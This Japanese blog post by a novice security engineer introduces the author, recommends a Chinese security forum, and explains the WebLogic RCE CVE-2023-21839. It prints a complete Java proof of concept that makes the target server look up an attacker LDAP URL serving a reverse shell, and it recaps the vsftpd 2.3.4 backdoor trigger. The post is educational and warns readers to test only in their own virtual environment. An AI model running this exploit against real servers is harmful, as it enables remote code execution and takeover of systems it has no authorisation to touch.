こんにちは!
今日はここまで二つほど記事を書いてきて自己紹介をしていないことに気づいたので
・自己紹介
・有用なサイトの紹介
・比較的新しい脆弱性の紹介
・次回書くこと
としていこうかなと思います!
それでは、また駄文にお付き合いください!
ここに書かれていることを試すときは必ず自身の仮想環境でお願いいたします。
第三者に対して行った場合刑法により処罰されます。
自己紹介
30歳の時に完全未経験、ゼロ知識から業界に飛び込んだエンジニア二年目の今年32歳の限界おじさんです。
それまではバンド活動をしたりドラムの先生をしたりバイトでコールセンターのオペレータをしていました。
この業界に入ってからはSOCのオペレータをしたり脆弱性診断士をしたり、セキュリティ施策の運用をしたりしています。
趣味はドラムと食べることとゲームです。
コントローラ持つと人変わるタイプです。
特技は中国語で、一応国際中国語検定のような試験で最高位を持っています。
時差の問題などクリアできるならインドやアメリカなどほかの国の言語でもいいと思います。
とりあえず外国語を学ぶとどういうブースト効果があるかですが
日本語のサイト探すよりも最近の動向や詳しい分析記事を探すのがマジで捗ります。
ネタが尽きるので今日は一個サイトを紹介します
先知社区
ここでは毎日セキュリティに関する情報の更新だったりバグバウンティの募集があります。いつかバグバウンティで稼いで高いパソコン買いたい
昨日コマンドインジェクションの脆弱性についてやったので
数ある記事の中からこちらを抜粋し、自分も学びながら紹介しようと思います。
この記事ではオラクル社のWebLogicサーバに関するRCE脆弱性について解説されています。
この記事が参考にした記事へ飛んでみてみると
WebLogicにはIIOP/T3プロトコルに欠陥があることによりIIOP/T3プロトコルが動いたとき攻撃者は脆弱性を悪用してWebLogic Serverへの攻撃が可能になるRCE脆弱性があります。
また、攻撃が成功した場合、コード実行が可能となりサーバーをダウンさせたり、情報を漏洩を引き起こす可能性があります。
と、あります。
昨日の脆弱性はvsftpd2.3.4のソースファイル(vsftpd-2.3.4.tar.gz)にバックドアコードが含まれていたことによってバックドアコードを含んだ状態でインストールおよび起動した際、ユーザー名に:)を入れてログインすると6200番ポートが開きリモートでコマンドの実行が可能になる。
という脆弱性でした。
それでは解説に移ります。
仕組み
WebLogicのt3及びiiopプロトコルはどちらもバインドされたものをJNDIを使いlookupすることをサポートしています。
以下にコードを
// オブジェクトの作成
MyRemoteObject remoteObject = new MyRemoteObject();
// 環境変数の取得
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
env.put(Context.PROVIDER_URL, "t3://<server_ip>:<iiop_port>");
Context ctx = new InitialContext(env);
// リモートオブジェクトをJNDIへバインド
ctx.rebind("myRemoteObject", remoteObject);
// リモートオブジェクトをLookupメソッドで検索
MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject");
もしもiiopを使いたい場合はコード中のt3を
iiopにすればよいです。
注意点としてはバインド時にシリアライズ化の上で伝送されるのでMyRemoteObjectはSerializable(シリアライズ化可能)インターフェイスとする必要があります。
OpaqueReference
OpaqueReferenceはWebLogicの中のインターフェイスです。
オブジェクトがOpaqueReferenceから継承される際ForeignOpaqueReferenceはgetReferent()メソッドで読み込んでいます。
POC
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// リモートでバインドするオブジェクトとして使うInitialContextを作成
String url = "t3://192.168.135.129:7001"; // 目標の機器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目標
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReferenceのjndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// ForeignOpaqueReferenceのjndiEnvironmentとremoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777"; //これが今回アクセスさせたいURL
remoteJNDIName.set(f, ldap);
// ForeignOpaqueReferenceオブジェクトをバインド
c.rebind("sectest", f);
// lookupでForeignOpaqueReferenceのオブジェクトを見に行きます
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
ここで行っていることは
引数がldapだった場合に返される値を "ldap://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";とし
setメソッドを使ってremoteJNDINameの名前をfにして値をldapを書き換えてます
結果的に
WebLogicサーバがLookup覗きに行ったときにremoteJNDINameを確認しようとしてfに代入されたldapが示すURLを見に行ってしまいLDAPサーバに置かれた悪意のあるコードをWebLogicが実行するという状況になります。
Javaは完全未経験でクラスとかオブジェクトって何ぞやというところから始めたので
わかりにくかったり認識が間違ってるかもしれません。
今回の発火点はForeignOpaqueReferenceのgetReferent()です
ここに入力されたURLにアクセスすることで攻撃が実行されます。
感想
今回は自分の環境と知識不足によりPOCを確認してこういうものなのかなと想像することしかできませんでした。
休日など引き続き練習しつつ今度は自身の環境でやってみます。
うまくいったらまた皆さんに共有したいです。
8日から新しい現場へ配属になるので投稿のペースは落ちるかもしれないですが空いた時間見つけつつ投稿していこうと思います。
次回は復習を含めてLinuxのコマンド表を作るつもりです。